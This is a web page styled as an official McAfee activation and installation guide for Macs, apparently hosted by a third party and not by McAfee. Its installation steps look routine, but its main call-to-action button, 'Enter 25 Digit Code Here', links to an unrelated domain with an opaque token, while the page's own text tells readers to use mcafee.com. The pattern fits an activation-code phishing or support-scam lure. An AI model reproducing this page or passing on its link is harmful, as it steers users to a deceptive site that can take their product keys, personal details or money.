> ## Documentation Index
> Fetch the complete documentation index at: https://trojancare.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# How to Activate McAfee Antivirus on Mac — macOS Guide

> Step-by-step instructions to activate and install McAfee on a Mac using mcafee.com/activate. Supports macOS 13 Ventura and later versions.

Activating McAfee antivirus on your Mac is simple using the official **mcafee.com/activate** portal. McAfee Total Protection and all McAfee+ plans provide award-winning security for macOS, including real-time threat scanning, Secure VPN, Personal Data Cleanup, and identity monitoring. Whether you are setting up McAfee on a new MacBook or reinstalling it on an existing Mac, this guide shows you how to activate McAfee antivirus online — from entering your **McAfee activation code** at [www.mcafee.com/activate](http://www.mcafee.com/activate) to running your first scan.

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    href="https://flosyr.com/?OlhrHnj0RPPKVnFZbynYOji59bpHpbxQUOgSRTvB6CD"
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  >
    ▶ Enter 25 Digit Code Here
  </a>
</div>

<Note>
  **macOS system requirements for McAfee:**

  * **OS:** macOS 13.x (Ventura) or later
  * **RAM:** 2 GB minimum
  * **Free disk space:** 1.3 GB minimum
  * **Internet:** Required for activation, updates, and cloud-based threat detection
</Note>

<Steps>
  <Step title="Open Safari or Chrome and go to mcafee.com/activate">
    Launch Safari or Google Chrome on your Mac and navigate to **mcafee.com/activate**. Verify that the page loads over a secure connection (`https://www.mcafee.com`) before entering any personal details.
  </Step>

  <Step title="Enter your 25-digit McAfee activation code">
    Type or paste your 25-digit activation code into the product key field. The code is divided into five groups of five alphanumeric characters (e.g., `XXXXX-XXXXX-XXXXX-XXXXX-XXXXX`). Take care with characters that look similar, such as **O** and **0**, or **I** and **1**.
  </Step>

  <Step title="Sign in with your McAfee account or create one">
    Enter your McAfee account email address. If you already have an account from a previous subscription or another device, sign in with your existing credentials — your new subscription will be added to the same account. First-time users can create a free McAfee account directly on this page.
  </Step>

  <Step title="Select macOS as your platform and click Download">
    After your activation code is verified, select **macOS** as your operating system when prompted. Click the **Download** button to save the McAfee installer disk image file (`.dmg`) to your Mac. The file will typically appear in your **Downloads** folder.
  </Step>

  <Step title="Open the downloaded .dmg installer">
    Navigate to your **Downloads** folder and double-click the `.dmg` file to mount it. A Finder window will open showing the McAfee installer package. Double-click the installer icon (`.pkg` file) to begin the installation process.
  </Step>

  <Step title="Follow the installation wizard and grant permissions">
    Work through the installation wizard by clicking **Continue** and **Install** at each step. When prompted, enter your Mac's administrator password to authorize the installation. After the installer copies its files, macOS will display a security prompt — navigate to **System Preferences → Security & Privacy → General** and click **Allow** to permit the McAfee system extension to run.
  </Step>

  <Step title="McAfee runs its first scan automatically">
    Once installation completes, McAfee launches automatically and performs an initial scan of your Mac to establish a security baseline. This first scan may take several minutes depending on the number of files on your system. You will see a notification in the McAfee app when the scan is complete and your Mac is confirmed secure.
  </Step>
</Steps>

<Note>
  macOS Ventura (and later) may ask you to allow McAfee kernel extensions or system extensions in **System Settings → Privacy & Security**. Click **Allow** for all McAfee-related requests — these permissions are required for real-time threat detection and the McAfee firewall to function correctly. Without them, your Mac will not be fully protected.
</Note>

<Tip>
  After activation, open the McAfee application from your **Applications** folder to verify your subscription status. Go to **My Info** or **Account** within the app to confirm your plan name, expiration date, and the devices currently protected under your subscription.
</Tip>

## Frequently Asked Questions

<Accordion title="Does McAfee support the latest macOS?">
  Yes. McAfee actively maintains compatibility with the latest macOS releases. McAfee Total Protection and all McAfee+ plans support **macOS 13 (Ventura)** and later, including macOS Sonoma. McAfee releases regular updates to maintain compatibility as Apple introduces new OS versions. Visit **mcafee.com/activate** to download the most current version of McAfee for your Mac.
</Accordion>

<Accordion title="How to re-activate McAfee on a new Mac?">
  If you have purchased a new Mac and want to transfer your McAfee subscription, you do not need a new product key. Follow these steps:

  1. On your new Mac, visit **mcafee.com/activate** or go to **home.mcafee.com**.
  2. Sign in with the same McAfee account email and password you used during your original activation.
  3. Click **Download** next to your active subscription to get the macOS installer.
  4. Run the `.dmg` installer and complete the setup as described above.

  If you want to free up a device slot, log in to your McAfee account and remove your old Mac from the **My Devices** section before adding the new one.
</Accordion>

<Accordion title="Where is McAfee installed on Mac?">
  McAfee installs its application files in the **/Applications** folder — you will find the **McAfee Security** app there. Supporting system components and extension files are installed in system-level directories that macOS manages automatically. To uninstall McAfee, use the built-in **McAfee Uninstaller** tool found inside the McAfee app under **Preferences**, or download the McAfee Consumer Product Removal (MCPR) tool from the McAfee support site rather than simply dragging the app to the Trash.
</Accordion>